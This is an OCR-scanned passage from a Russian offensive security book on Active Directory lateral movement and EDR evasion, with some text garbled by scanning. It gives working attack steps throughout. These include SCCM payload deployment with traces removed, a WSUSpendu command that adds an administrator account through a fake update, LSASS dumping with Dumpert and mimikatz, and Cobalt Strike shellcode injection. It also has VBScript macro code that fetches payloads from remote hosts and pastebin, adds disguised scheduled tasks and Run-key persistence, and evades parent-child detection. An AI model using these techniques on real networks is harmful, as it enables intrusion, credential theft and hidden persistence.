Рис. 3.14. Выбор типа развертывания
Консоль crnd. ехе используется для запуска PowerShell, а затем с помощью Get
Content (gc) PowerShell обратится к \ \sccm2012\sccrnsource\LegitApplication и прочита
ет содержимое Install . txt. После этого код передается в Invoke-Expression ( iex) для
его выполнения. Это позволяет нам выполнять пейлоад на целевом объекте, не за
гружая файл в файловую систему.
После того как мы установили программу, нам нужно указать, где будет начинаться
установка. Поскольку в поле Installation program используется только crnd . ехе,
SCCM просит нас уточнить расположение этого исполняемого файла. Таким обра
зом, для этого поля нужно выбрать с : \Windows\System32 (рис. 3 . 1 5).
После этого мы перейдем к меню Detection Method. Параметры, указанные здесь,
сообщат SCCM, как определить, установлено на клиенте целевое приложение или
нет. SCCM проверит ук:панные параметры перед установкой приложения, чтобы
предотвратить повторную установку. Поскольку пейлоад выполняется в памяти,
проверять нечего, поэтому можно заполнить поле фиктивной информацией. Также
убедитесь, что вы установили переклю�атель в положение The file system setting
must exist оп the target system to indicate presence of this application (настройка
файловой системы должна существовать в целевой системе, чтобы указывать на
наличие этого приложения, рис. 3 . 1 6).
Дальнейшие настройки установки можно оставить по умолчанию. Чтобы развер
нуть созданное приложение после ее завершения, просто щелкните по нему правой
69
Боковое перемещение в Active Directory
Cont�
!
Gen.m
c;.,,....r lnformotюn
Spealy infoonatIOл .аЬооt lhe oontent to Ье delivered to ta1get OOW:es
•rы#i
' ....
Dt't
M.U.ocl
u edlcю
Expt.ntn<
•
Re.quк�nts
OЦ>endonad
Sumnщy
Prngreu
с-р!Wм
_.
1
.......,.,
..,."
\01��\hQIWltex-1
(C:\VW-\Syon:m32
\
� "'-""" _.. .......,,,. r1 un con1.n 1
...
l.._j
&
_
..._.
_
. __,
_
'"'1114 -•�lioitlW
Рис. 3.15. Установка приложения
кнопкой мыши и выберите
Deploy (развернуть), указав при этом нужную коллек
цию. В настройках для взаимодействия с пользователем убедитесь, что вы скрыли
все уведомления. Теперь приложение будет ожидать установки при регистрации
пользователя, т. е. для того, чтобы выполнить пейлоад, необходимо будет переза
грузить пользовательскую машину. Для большей скрытности после завершения
работы пейлоада лучше удалить из SCCM все следы.
Вдобавок скажу, что есть вариант работы с SCCM из консоли. Это очень удобно
сделать с помощью PowerSCCM (https://github.com/PowerSheUMafia/PowerSCCM).
Описывать этот инструмент я не буду, у него довольно-таки подробная докумен
тация.
Теперь вы знаете, как можно использовать SCCM для выявления целей атаки в се
ти, группировать выбранные цели вместе и загружать пейлоад в память одновре
менно для всех выбранных целей. SCCM нередко служит «точкой управления» для
большинства рабочих станций на предприятии, и из-за этого у сервера SCCM часто
будет широкая, если не полная видимость всей сети. Наше приложение повторно
выполнится на клиентских машинах SCCM после перезагрузки, что позволит нам
оставаться на компьютере без необходимости сохранять файл на диске. Таким об-
Глава З
70
"1
Fk cr loldernome:
!,_ш_..tt--'-----.i.I---'
()/(
11
Cancet
Рис. 3.16. Меню «Метод обнаружения»
разом, SCCM представляет собой отличную платформу для продвижения по сети
без необходимости использования обычных методов бокового перемещения.
Windows Server Update Services
o wsus
Windows Server Update Services (WSUS) - это сервис обновлений операционных
систем и продуктов Microsoft. Сервер обновлений синхронизируется с сайтом
Microsoft, скачивая обновления, которые затем могут быть распространены внутри
корпоративной локальной сети. Это экономит внешний трафик компании и позво
ляет быстрее устанавливать исправления ошибок и уязвимостей в операционных
системах Windows на рабочих местах, а также дает возможность централизованно
управлять обновлениями серверов и рабочих станций. Он прост в использовании и
установке·, и его можно адаптировать в соответствии с различными правилами для
каждой организации. Однако неправильное использование его функций может
иметь крИтическое значение для безопасности сети.
Для компрометации данной службы создан инструмент под названием WSUSpendu
(https://github.com/AlsidOfficial/WSUSpendu). Однако злоумышленник не всегда
71
Боковое перемещение в Active Directory
сможет использовать этот инструмент. Дело в том, что WSUSpendu применяет ме
тод прямого внедрения обновлений в службу WSUS, а не в сетевой поток, чтобы
избежать сетевых ограничений. Главная проблема при аудите управления обновле
ниями заключается в сборе состояний обновлений в каждой системе. Эти состояния
должны быть согласованными. Прямой доступ к серверу WSUS позволяет нам
обойти эти ограничения.
Наиболее распространенная конфигурация сети - та, где есть только один сервер
обновлений (рис. 3 . 1 7). Этот сервер обновляет свои собственные клиенты и под
ключается к Интернету для получения обновлений от серверов Microsoft. Связь
между сервером WSUS и серверами Центра обновления Windows должна исполь
зовать протокол HTTPS (эти конфигурации недоступны для редактирования). Сер
вер WSUS проверяет сертификат SSL, чтобы исключить загрузку вредоносных об
новлений через подделку легитимных серверов. Клиенты получают свои обновле
ния на сервере WSUS в соответствии с конфигурацией сервера: используя протокол
HTTPS, если сервер настроен с использованием SSL, или протокол НТТР, если нет.
Microsoft Update
Кл иенты WSUS
Рис. 3.17. Простая архитектура WSUS
Большая организация, скорее всего, будет использовать несколько серверов WSUS
(рис. 3 . 1 8). В этом случае применяется древовидная архитектура. Главный сервер
подключен к Интернету. Другие серверы WSUS (репликации) распространяют об
новления для одного сегмента или одной подсети. Также возможно использовать
этот вид архитектуры с автономной системой. В этом случае обновления копиру
ются, но применяются автоматически.
Эти две архитектуры рекомендуются Microsoft. Однако их недостаточно для неко
. торых организаций, и там в сетях можно наблюдать две другие архитектуры. Пер
вая часто встречается в относительно крупных компаниях: она имеет несколько
доменов или лесов, которые не обязательно связаны доверительными отношещ1ями
Гла ва З
72
Active Directory (рис. 3 . 1 9). В этих архитектурах мы часто видим общие серверы
функций подцержки. Хотя домены не имеют отношений, серверы обновлений
часто имеют общую ссылку: сервер WSUS одного из доменов используется в каче
стве ссылки на сервер WSUS другой сети.
для
Рис. 3.18. Древовидная архитектура WSUS
Microsoft Update
Рис. 3.19. Архитектура WSUS со связанными серверами в разных доменах
Боковое перемещение в Active Directory
73
Для всех этих архитектур можно вручную устанавливать любые обновленИя про
граммного обеспечения, предложенные Microsoft. Но также возможно автоматиче
ское применение обновлений в соответствии с определенными критериями. При
установке WSUS создается правило, которое по умолчанию отключено и позволяет
при активации автоматически принимать установку всех «критических» или «безо
пасных» обновлений на клиентах WSUS.
Атака на WSUS
Существует несколько атак на механизм обновления Windows. Все атаки работа
Чтобы атака WSUSpect сработала, клиент
должен использовать машину злоумышленника в качестве прокси. Один из спосо
бов выполнения этой атаки - для непривилегированного пользователя на клиенте
установить прокси-сервер. Другой способ выполнить эту атаку - использовать
протокол WPAD. WSUSpect перехватывает запрос на обновление от клиента и
вмешивается в него, чтобы добавить свое вредоносное обновление.
ют только между сервером и клиентом.
Ответ сервера изменяют, вставляя метаданные и двоичные файлы, чтобы попытать
ся выполнить произвольный код на клиенте. Но дело в том, что на локальном ком
пьютере будет проверена подпись. С этой конфигурацией невозможно изменить
обновление, добавив в него произвольный двоичный файл. Тем не менее аргументы
команды не включены в проверку подписи. Таким образом, можно изменять аргу
менты двоичного файла (к примеру, cmd . exe, wmi c . exe) для выполнения некоторых
команд. Но подписи к данным файлам не хранятся, а хранятся подписи к каталогу
с этими файлами, что не позволит передать им аргумент. Однако благодаря под
держке Microsoft Sysintemals есть подписи для файлов из данного пакета, в частно
сти PsExec.
может развертывать обновления, создавать и удалять группы WSUS,
назначать компьютеры группам и удалять обновления. Скрипту нужно указать
PsExec или Bglnfo, т. к. только эти программы подписаны Microsoft и могут выпол
нять произвольные команды в любых системах Windows. Сценарий принимает
аргументы для двоичного файла в качестве параметра и автоматически внедряет
выбранные двоичные и специально созданные метаданные в базу данных. Сцена
рий PowerShell, а также выбранный двоичный файл необходимо загрузить на сер
вер WSUS для локального выполнения (рис. 3 .20, 3 .2 1 ).
WSUSpendu
PS> . \Wsuspendu . psl -Inj ect -PayloadFile . \ PsExe c . exe -PayloadArgs ' -accepteula -s -d
cmd . exe /с "net user [USER] [ PASSWORD] /add & & net localgroup Administrators [ USER]
/add" ' -ComputerName DCl . doma in
Everything seems o k . Waiting for client now . . .
То clean the injection, execute the following coПU11and :
. \Wsuspendu . ps l -Clean -UpdateID 1 2 3 4 5 6 7 B - 90ab-cdef-1234-567B 90abcdef
Обновление будет зависеть от конфигурации клиента - неважно, бьm ли он на
строен для автоматической или ручной установки обновлений. Новое обновление
само по себе может быть установлено без какого-либо взаимодействия с пользова
телем.
Глава З
74
All Upd.11�
(2624 upd•tes of 2645 shown 2645 \oral)
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
Aapr<МI�
Tit�
1
Unapproved
l� Status:
Any
nVidia • Graphics Adapter WDDM1.1, Otha harclw1re • NVIDIA GeForce 6бОО VE Drivm
10••
Drivers
10".
nVidia • Graphics Adapter WDDM1 .1, Other hardw1re • NVIDIA GeForce 7050 Р". Drivets
10".
OriveA
10"..
nVodia • Graphics Adapter WDDM1.1, Other harcfwar" - NVIDIA GeFocrce 705()/". Drivets
10."
Drivers
10".
Drivers
10...
nVкf" • Graphics Adapter WDDM1.1, Other harcfware · NVIDIA GeForce 6100
nVidia • Graphics Adapter WDOM1.1, Other harcfware • NVIDA
I GeForce 6150S."
nVidia • Graphics Adapter WDOMl .1, Other harcfware • NVIDIA GeForce 6600
nVidia • Graphics Adapter WDOM1.1, Other hardware • NVIDIA GtForce 7300 S".
nVicf" - Graphics Adapter WODM1.1, Other hardware - NVIDIA Gefclrce 6100 n". Drivers
nVidia - Gr1phics Adapter WDDМ1 .1,
Other harcfware - NVIDIA GeF�ce 7900 GS
10."
Drivers
10...
Drwers
10".
nVidia • Graphics дdapter WDDM1 .1. Other h<irdware - NVIDIA GeForce 7800 Sll Drivm
10...
nVidia • Graphics Adapter WDDМ1.1, Other hardware • NVIDIA GeForce 7800 ".
Not approv."
Not approv".
Not •pptov".
Not approv".
Not 1pprov...
Not approv."
Not approv".
Not approv".
№t apptov...
Not 1pprov".
Not 1pprov."
Рис. 3.20. Консоль WSUS
Select the updates усщ want to in5'all
Name
ftnpOf'tlnt (l)
S!te
W111doм 7 (1)
..,
"
Ps&...: Ьuodled
Щ.S..VeXmlmqment) Ж..-ity
UpcМte for � 7
(К828623'Щ
А security issue has been identified
tn а Mкrosoft softwore prodllCt thal
coukl affect your systern. YOll can
h�lp prote<t your system Ьу
insullmg lhis upd�t� ftoм
Мiaosolt. for 1 complete l1st1ng of
the 1Srul!$ tltilt ore 1ncl11 ded in tltis
upcitt '"' tha 1uoc:iated Microюft
Кno..t.!dgr 8•5'! attk le. Afteryou
instAll lhos updtt� you may h&ve !О
1estartyour system.
PuЬlblied: ioday
:=
Update is reIO)l for
dOl'lnloin
•d g
Моr• 1111 rmiJl•ort
S� 111l0tm:t10n
Рис. 3.21 . Уведомление о новом обновлении
Рас п ыление п ароле й
Распыление пароля (Password Spraying) относится к методу атаки, который прини
мает большое количество имен пользователей и перечисляет их с помощью одного
пароля или малого количества паролей. Так как допустимое количество попыток
ввода пароля обычно невелико,· этот метод позволяет избежать блокировок полити
кой паролей, и он часто более эффективен для обнаружения слабых паролей. После
успешного получения списка действительных пользователей злоумышленники не
редко проверяют частые или известные пароли или благодаря накоШiенным в про-
Боковое перемещение в Active Directory
75
цессе разведки данным пробуют ОДИН тщательно продуманный пароль для ВСЕХ
известных учетных записей пользователей.
Распьmение паролей проводится, как правило, на одном из начальных этапов без
наличия привилегий. Этапы атаки распыления паролей:
1 . Включение в сеть (в случае теста на проникновение) или компрометация учетной записи пользователя (для злоумышленника).
2. Перечисление групповой политики и политики паролей.
3 . Перечисление имен пользователей.
4. Распыление паролей.
Для
выполнения данной атаки написан скрипт Spray (https://github.com/
Greenwolf/Spray), который позволяет указать парольную политику. Spray дает
возможность проводить атаку на SMB, OWА (веб-клиент для доступа к серверу со
вместной работы Microsoft Exchange), Lync, CISCO Web VPN. Для работы скрипт
требует список пользователей и паролей.
Альтернативное автоматическое решение - РоwеrShе\1-скрипт DomainPasswordSpray
(https://github.com/dafthack/DomainPasswordSpray). Он требует только пароль
либо список паролей. При этом он автоматически перечисляет пользователей доме
на и парольные политики (рис. 3 .22).
Кроме того, скрипт позволяет узнать список всех пользователей.
Рис. 3.22. Скриншот испольэования DomaiпPasswordSpray из примера описания программы
Автомати эаци11 Lateral Movement
Множество сетей можно взломать, следуя определенным стандартным алгоритмам
действия. Чтобы не тратить время на проверку данных контекстов развития собы
тий, бьmи разработаны инструменты автоматизации шагов каждого контекста.
Глава З
76
GoFetc h
это инструмент для автомати
GoFetch (https://github.com/GoFetchAD/GoFetch)
ческого осуществления IUiaнa атаки, созданного приложением BloodHound.
-
Сначала GoFetch загружает связи локальных пользователей-администраторов и
компьютеров, созданных BloodHound, и преобразует его в собственный формат
Шiана для атаки. Как только Шiан атаки готов, GoFetch продвигается к месту назна
чения в соответствии с Шiаном, шаг за шагом, последовательно применяя мето
ды удаленного выполнения кода и компрометируя учетные данные с помощью
mimikatz.
GoFetch написан на PowerShell, что помогает скрываться от обнаружения, однако
используемые модули Python могут выдать работу этого средства. В качестве пара
метров GoFetch использует связи объектов, созданные с помощью BloodHound,
и пейлоад для выполнения в формате ВАТ, ЕХЕ или PS 1 .
Также для примера было представлено видео работы этого средства, которое мож
но отыскать по адресу https:/lwww.youtube.com/watch?v=5SpDAxUx7Uk.
ANGRYPUPPY
это инструмент
ANGRYPUPPY (https://github.com/vysecurity/ANGRYPUPPY)
для фреймворка Cobalt Strike, предназначенный для автоматического анализа и вы
полнения путей атаки BloodHound. ANGRYPUPPY использует встроенное боковое
движение Cobalt Strike и возможности кражи учетных данных Beacon. Эrо позволя
ет автоматически извлекать сеансы для управления .в Cobalt Strike и использовать
его канал связи SМВ С2. Кроме того, ANGRYPUPPY дает возможность выбирать
технику, которую оператор хочет использовать для выполнения действий бокового
движения.
-
ANGRYPUPPY принимает путь атаки BloodHound в формате JSON, а затем опре
деляет действия, нужные для выполнения пути атаки, кражи учетных данных или
бокового перемещения по мере необходимости.
Оператор просто вводит angrypuppy в любую консоль маяка Cobalt Strike, а затем
может импортировать путь атаки, выбирать технику бокового перемещения и вы
полнять атаку. Эrо действие записывается в журнал событий Cobalt Strike вместе
с именем оператора и идентификатором ANGRYPUPPY. Не рекомендуется выпол
нять другие действия бокового движения во время работы ANGRYPUPPY!
Демонстрация работы этого инструмента также запечатлена на видео: https://
www.youtuЬe.com/watch?v=yxQ8Q8itZao.
DeathStar
DeathStar (https://github.com/Ьyt3Ы33d3r/DeathStar)
это скрипт Python, исполь
зующий АРI-интерфейс RESTful Empire для автоматизации атак в среде Active
Directory с использованием различных методов.
-
Боковое перемещение в Active Directory
77
Так как BloodHound просматривает не все пути продвижения (те же GPP и
SYSVOL не подлежат анализу ВloodHound), данный инструмент использует мак
симум возможностей, которые предоставляет API RESTful Empire PowerShell.
Разработчики представили два видео (https://www.youtube.com/watch?v=PTpg_
https://www.youtube.com/watch?v=lZCkC8FXSzs), демонстрирующих
работу DeathStar. Но есть один минус: со 2 августа 20 1 9 года этот проект больше не
поддерживается, т. к. прекратил свое существование проект Empire.
91gхВО,
Заключение
Благодаря боковому перемещению мы можем легитимным образом продвигаться
по сети, используя для этого лишь учетные данные пользователей или разрешенные
средства доставки и обновления ПО, что позволит получать информацию с атако
ванных машин без использования RAТ.
ГЛАВА 4
Уклоняемся от обнаружения
при атаке на домен
Как известно, любая атака выполняется в несколько этапов. Мы успешно провели
разведку, повысили собственные привилегии, продвинулись, куда только захотели,
и в итоге сумели захватить всю сеть. Но вот проблема: нас обнаружили, отрезали от
сети и поймали. Чтобы избежать подобного развития событий, нужно заранее изу
чить методы защиты от обнаружения.
У клонение от сканеров п амяти
Любые действия в системе так или иначе регистрируются, и полностью скрыться от
опытного наблюдателя никогда не получится. Но можно максимально замаскиро
ваться. Большинство команд Red Team или пентестеров при атаке на домен исполь
зуют PowerShell. Причем он стал настолько популярен, что появились целые
фреймворки, к примеру Empire (https://github.com/EmpireProject/Empire) и
PowerSploit (https://github.com/PowerShellMafia/PowerSploit). Кроме того, скрип
ты PowerShell могут быть обфусцированы с помощью того же Invoke-Obfuscation
(https://github.com/danielbohannon/Invoke-OЬfuscation). В ответ на появление
всех этих инструментов сторона защиты разработала методы их обнаружения, та
кие как выявление странных родительских-дочерних связей, подозрительные аргу
менты командной строки и даже различные способы деобфускации PowerShell.
Одно из самых передовых средств для атак на домены Windows с возможностью
скрытия активности - Cobalt Strike, в частности использование модуля execute
assemЬly. Есть возможность выполнять близкие к PowerShell-cкpиптaм программы,
написанные на С#. К примеру, собранный на С# get-users, который дублирует
функции модуля Get-NetUser из пакета PowerView. В данном примере у контроллера
домена запрашиваются свойства SAМAccountName, UserGivenName и UserSurname для каж
дой учетной записи (рис. 4. 1 ).
Давайте посмотрим, что происходит в это время на целевой машине. Сделать это
можно с помощью ProcMon (рис. 4.2).
Глава 4
80
beacon> e x e c u t e - a s s emЫy /root/bi n/attack/get- u s e r s . exe doma i n . l o c a l
[•]
f·l
Tasked beacon to run
host c a l l e d home ,
. NET program :
sent :
get-users . exe doma i n . l o c a l
1 10663 b y t e s
rece i v e d output :
SA!-\Ac c ou n t Name : Adm i n i s t ra t o r
SAl-IAc c ou n t N ame :
Guest
SA/-IAc c o11ntName :
k1·btgt
SA!-IAccountName :
UserGivenName :
U s e r S u rname :
USER1
SAf.IAccount Name :
UserGi v e n Name :
U s e r S u rname :
user2
User2
U S E R2
SAMAc c ou n t Name :
UserGivenName :
U s e r S u rname :
userl
Userl
user2
User2
USER2
Рис. 4.1 . Запуск get-users с помощью модуля execute-assemЫy
Рис. 4.2. Дерево процессов, построенное РгосМоп
Процесс powershel l . ехе содержит нагрузку Cobalt Strike, а процесс rundll32 . ехе ис
пользуется для загрузки и выполнения get-users. Стоит сказать, что powershell . exe
является родителем rundll32 . ехе только потому, что t1агрузка Cobalt Strike была за
пущена из-под PowerShell.
Но нагрузку Cobalt Strike можно запускать из-под любого процесса, при этом также
имеется возможность мигрировать в разные процессы. Кроме того, некоторые
функции Cobalt Strike выгружаются в новые процессы, что позволяет обеспечить
стабильную работу этого ПО. Помимо прочего, библиотеки DLL, загруженные
в процесс rundl l32, включают в себя те, которые необходимы для get-users, напри
мер библиотеки LDAP и аутентификацию Kerberos (рис. 4.3).
ЭО4О
toad Ь\аоt
3040
ЭО4О
l.ol!d �
toad llnage
3040
3040
toad lnll\)t
l.ol!d ....
С:'�� ·
c�,Wndowt�il.dl
C:'w..dows�·
C:\WfnOcмa\Э)'lt�.dl
C:\\VndQwa�tp.c8
socass
SIX:CESS
su:ass
SIX:CESS
soca:ss
Рис. 4.3. DLL-библиотеки, загруженные в ruпdll32
Главное преимущество данного модуля заключается в том, что файл никогда не
пишется на диск, т. е. сборка выполняется строго в памяти. При этом во время ана
лиза памяти большое внимание уделяется функции createRemoteThreacl, благодаря
которой вредоносные программы мигрируют в другие процессы и загружаются об
разы. Модуль execute-assemЫy загружает пользовательскую сборку при помощи
встроенной функции Loadimage, а т. к. эта функция используется в основном ле-
Уклоняемся от обнаружения при атаке на домен
81
гитимными процессами для загрузки DLL, обнаружить загрузку сборки очень
сложно.
Стоит добавить, что PowerShell не единственный легитимный процесс, использова
ние которого пристально отслеживается стороной защиты. Другие распространен
ные программы и службы (такие, как WМIC или schtasks/at) тоже подлежат тща
тельному контроmо. Но и функции этих инструментов могут быть воспроизведены
в пользовательских сборках .NET.
А это значит, что есть возможность их скрытого
использования с помощью того же модуля execute-assemЫy.
Уклонение от EDR
Endpoint Detection and Response (EDR) - технология обнаружения угроз и реаги
рования на оконечном оборудовании. EDR постоянно отслеживает и анализирует
подозрительную активность и принимает необходимые меры в ответ на нее. Так
как большинство организаций сосредотачиваются на безопасности сети, то они ос
тавляют без внимания активность на оконечном оборудовании. Являясь одним из
основных источников информации для SOC, EDR помогает закрыть эту брешь за
счет настройки разных политик, включающих в себя контроль запуска приложений,
контроль макросов и скриmов, анализ действий с памятью и многое другое.
Все описанные в статье методы могут перекликаться с темой уклонения от EDR, но
именно в этом разделе хотелось бы рассмотреть скрытую работу критического ПО
(такого как mimikatz) и доставление первоначальной нагрузки.
Скрываем работу m im ikatz
Как правило, почти все EDR обнаруживают использование одного из главных ин
струментов любого пентестера, редтимщика или злоумышленника, атакующего
Windows-cиcтeмы, - mimikatz. Поэтому использование данного инструмента
в чистом виде, когда имеешь дело с серьезными организациями, не имеет никакого
смысла.
Как вариант, можно сдампить процесс LSASS, с которым и работает mimikatz, для
получения важных данных. Но использование ProcDump EDR также обнаружит из
за перехвата соответствующих вызовов API. Таким образом, если отсоединить про
цесс LSASS от соответствующих API, то его можно незаметно сдампить. Именно
так и работает инструмент под названием Dumpert
(https://github.com/outflanknl/
Dumpert/tree/master/Dumpert). Благодаря прямым системным вызовам и отсоеди
нению API данный инструмент позволяет сделать укороченный дамп процесса
LSASS в обход антивирусных средств и EDR (рис.
4.4).
И теперь можно использовать mimikatz для извлечения информации из дампа,
предварительно указав файл дампа.
mimi katz # securlsa : : minidump [путь к дампу]
mimi katz # securlsa : : logonpasswords
Гла ва 4
82
::: : \Out fl a n k \ De1elopmeгit
,
\Outfl апk ·Dur.-.pert \ xб•• \Release>Outfl ank · Dumpert: . е:<е
\
1
/
�
•
\!
--
\
(•]
\
/1
l
\/
[ 1 ) Che c k i n g
I
_;
__
1
I
_!
_
\
, 1 __
-\ 1 1 \_ \ /
1 1 1 l _1 _ \ 1
1
l _ I . I _(_ 1_/
__
__
1
\'
1
11 /
_
'
t_ I _
\
\/
\!
\/
Dump ert
Ву Cnee l i � �utflank 2019
os version deta i l s :
Operat ing
Sy s t e m i s Windows 10 cr Server 2016,
bui id number 1 7 763
[ + ] Haoping version s p e c i fi c Sy stem c a l l s .
[ 2 ) Che c k i ng ?roc e s s det a i l s :
[ + ] Proc ess !D of l s a s s . ex e i s :
640
( + J NtRead\'irtua H\emory func tion pointel' a t : 0:<000 0 7 FF 86бCAFf30
[ • ] NtReadVirtua!Hemcry System c a l l n r i s : 0 x 3 f
( + J Ur.hcok i n g NtReadV i r t н a H\emory .
[ З j Cr•eate memorydump f i l e :
[ + ] Open
1
pro c e s s h andle .
( + ] Dt1np l !: a s s . ехе ll'e•r.ory t o :
\ n\c : \h1! NOO.·,s\ Temp\du'!lper-t . dtr•P
[ • j Dump succesfv l .
Рис.
4.4. Соэдание дампа LSASS с помощью Dumpert
Этот способ защищает от обнаружения EDR во время дампа, но он оставляет за
метные следы, сохраняя файл программы на диске. Как уже было сказано, инъек
ции кода помогают избежать записи на диск. Но опять же, обычные инъекЦии DLL
будут обнаружены EDR, поэтому была разработана техника sRDI и соответствую
щие инструменты (https://github.com/monoxgas/sRDI) для ее реализации. Подроб
ное описание их использования и принципов работы прилагается к самим инстру
ментам.
Специально для инъекций существует DLL-версия Dumpert (https://github.com/
outflanknl/Dumpert/tree/master/Dumpert-DLL). Для ее преобразования будем ис
пользовать скрипт convertToShel lcode . py из пакета sRDI.
pythonЗ ConvertToShel lcode . py Outflank-Dumpert . dl l
Внедрить полученный шелл можно с помощью модуля
PID процесса (рис. 4.5).
beacon> s h i n j e c t
!·
(+]
·
554 хб4
shinject
Cobalt Strike, указав
/ r o o t / Dt1mpe rt . DL L . bin
T a s k e d beacon to i n j e c t / r o o t /Dumpert . DL L . b i n i n t o
h o s t c a l l e d home ,
Рис. 4.5.
sent :
214454
554
bytes
Модуль shiпject Cobalt Strike
Но специально для Cobalt Strike на его собственном языке Agressor Script была раз
работана своя версия Dumpert (https://github.com/outflanknl/Dumpert/tree/master/
Dumpert-Aggressor, рис. 4.6).
Таким образом, с помощью объединения нескольких средств мы можем достичь
скрытой работы при краже учетных данных из LSASS.
Уклоняемся от обнаружения при атаке на домен
83
beacon> dumpert
[ + ) Dumpert Ьу Ou tflank
Tasked beacon t o inJect /root /dumpert . b i n into 1041
f +] �la i t i n g а fe�1 seconds for task t o complete . . .
Tasked beacon t o download C : \Windows\Temp\dumpert . dmp
[ + ] host called home , sen t : 116954 bytes
started download o f C : \Windows\Temp\dumpert . dmp ( 50254621 byt e s )
download o f dumpert . dmp i s c omp lete
Рис. 4.6. Dumpert для Cobalt Strike
УклоНJ1емся от п равила
...
...
«родительскии - дочернии п роцесс»
в макросах ос:рисн ых документов
Самое популярное средство доставки начальных загрузчиков или полезной нагруз
ки в АРТ-атаках - макросы в офисных документах. При этом идеи эксплуатации
в макросах остаются одними и теми же, усложняется лишь их интерпретация, т. е.
добавляется обфускация для обхода EDR.
Макросы офисных приложений пишутся на VBScript, который поддерживает много
полезных функций и может обеспечить полньJй доступ к системе. Так, Emotet
(https://threats.kaspersky.com/ru/threatffrojan-Banker.Win32.Emotet) использует
последовательность WinWord ---+ cmd ---+ PowerShell, а группа АРТ28 (https://
ru.wikipedia.org/wiki/Fancy_Bear) использовала макрос, вызывавший certutil для
декодирования нагрузки.
Как ни обфусцируй макросы, но приведенные примеры будут обнаружены EDR по
паттерну родительский-дочерний процесс, т. к. cmd, PowerShell или certutil будут
вызываться из процесса Winword, т. е. будут его дочерними процессами.
Но есть несколько способов уклониться от подобного шаблона EDR.
1 . Уклонение от пр.АМого анализа потомков
Чтобы новые процессы не происходили от WinWord, можно использовать для их за
пуска WМI. Новый процесс станет дочерним процессом wmiprvse . ехе. Сделать это
можно с помощью следующего кода:
Set obj
=
Get0bj ect ( " new : C08AFD90-F2Al - 1 1Dl-8455 - 0 0AOC91F3 8 8 0 " )
obj . Document . Application . ShellExecute "APPLICATION" , Nul l , " FOLDER " , Nul l , O
Также можно загружать и выполнять код прямо внутри процесса
используется XМLDOM:
Set xrnl = CreateObj ect ( "Microsoft . XМLOOM" )
xrnl . async
=
False
Set xsl = xrnl
xsl . load ( "http : //ip/payload . xs l " )
xrnl . trans forrnNode xsl
Winword.
Для этого
Глава 4
84
2 . Уклонение за счет запланированных задач
С помощью VBScript можно создавать запланированные задачи. Новый процесс
будет запущен от имени svchost . ехе. Это удобно и тем, что мы можем заШiаниро
вать выполнение через несколько дней или недель. Сделать это можно с помощью
следующего кода, указав нужную дату.
Set service
=
CreateObj ect ( "Schedule . Service " )
Call service . Connect
Dim td : Set td
=
service . NewTas k ( O )
td . Registrationinfo . Author = "Microsoft Corporation"
td . settings . StartWhenAvailaЫe = True
td. settings . Hidden = False
Dim triggers : Set triggers = td. triggers
Dim trigger : Set trigger
Dim startTime : t s
=
=
triggers . Create ( l )
DateAdd ( " s " , 3 0 , Now)
startTime = Year ( t s ) & " - " & Right (Month ( ts ) , 2 ) & " " & Right ( Day ( ts ) , 2 ) & "Т" &·
Right ( Hour ( ts ) , 2 ) & " : " & Right (Minute ( t s ) , 2 ) &
& Right ( Second ( t s ) , 2 )
-
" · "
trigger . StartBoundary = startTime
trigger . I D = "TimeTriggerid"
Dim Action : Set Action = t d . Actions . Create ( O )
Action . Path
=
" PATH/FOR/APPLICATION"
Call service . GetFolder ( " \ " ) . RegisterTaskDefinition ( "UpdateTask" , td,
Единственное, что может выдать использование объекта
загрузка tas kschd . dl l В WinWord.
6,
,
, 3)
Schedule . service,
-
это
Э . Работа с реестром
С помощью следующего кода VBScript можно работать с реестром:
Set WshShel l = CreateObj ect ( "WScript . Shell" )
WshShell . regwrite "НКCU\Software\Microsoft\Windows \CurrentVersion\Run\key" , "value " ,
,
"REG SZ"
Подобным образом можно хранить данные, передавать
менять непосредственно из макроса.
их
между нагрузками и из
4. Соэдание срайлов
Все-таки без записи на диск возможности атакующего весьма ограниченны. Запи
сать нужные данные по определенному пути на диске можно следующим образом:
Path = CreateObj ect ( "WScript . Shell" ) . SpecialFolders ( "Startup" )
Set objFSO = CreateObj ect ( " Scripting . FileSystemObj ect " )
Set obj File
=
obj FSO . CreateTextFile ( Path & " \SCRIPT . ba t " , True)
obj File . Write "notepad . exe" & vbCrLf
obj File . Close
Раз запись на диск произошла, то нужно максимально замаскировать данное дейст
вие. Усложнить анализ можно, используя специальные пути к файЛам, ведь нет
Уклоняемся от обнаружения при атаке на домен
85
ничего аномального в том, Что процесс Winword производит запись во временный
файл tmp. К примеру, можно выполнить запись по одному из этих путей:
C : \Users\<user>\AppData\Local\Microsoft\Windows\ INetCache\Content . Word\
-WRF {AE7BBF2F-B65D-4BF4-9FAD-A77 9AEC4 1A02 } . tmp
C : \Users \<user>\AppData\Local\Temp\CVR497 F . tmp
C : \Users\<user>\AppData\Local\Microsoft\Windows\Caches\ {AFВF9FlA- BEEB-4C77 -AF3 4 C64 7E37CAOD9} . l . verOx0 0 0 0 0 0 0 0 0 0 0 0 00 1 6 . c!Ь
Но можно пойти еще дальше и изменить шаблон Office:
C : \Users \<user>\AppData\Roaming\Microsoft \Templates\Norrnal . dotrn
!5. Загрузка данных
VBScript можно использовать для загрузки различных данных по сети. Но, если
использовать библиотеку ХМLНТТР или функцюо API URLDownl oadToFi leA, процесс
winWord инициирует сетевое соединение (и явно не с сайтом Microsoft), что будет
отмечено EDR для SOC. Этого можно избежать при помощи Intemet Explorer СОМ.
Set ie
CreateObj ect { " I nt ernetExplorer . Application" )
=
ie . Navigate "https : / /pasteЬin . com/raw/payload"
State
=
О
Do Until State
=
4
DoEvents
State
=
ie . readyState
Loop
Dim payload: payload
=
ie . Document . Body . innerHТМL
Использование данного метода приведет к вызову браузера из процесса
загрузки данных.
svchost . ехе
для
6 . Встраивание
в
макрос
Также существует возможность вставить нагрузку или файл в сам макрос и даже
документ, чтобы не загружать его по сети. Тот же Metasploit Frarnework способен
создавать макросы со встроенной нагрузкой.
ms fvenom -р generic/custom PAYLOADFILE=payload file -а х64 --platform windows -f vba-exe
_
Но проблема кроется в том, что новый процесс будет запускаться из-под процесса
Это легко исправить, а как - мы уже рассмотрели выше.
winWord.
Стоит отметить, что данные техники вполне применимы по отдельности, но шанс
быть обнаруженным станет меньше, если использовать эти методы (или некоторые
из них) совместно.
OPSEC
Скрываясь во время атаки, можно обмануть программный продукт, но куда слож
нее обмануть человека. Поэтому во время любой атаки стоит думать о своих дейст
виях. Дам несколько вполне очевидных советов.
Глава 4
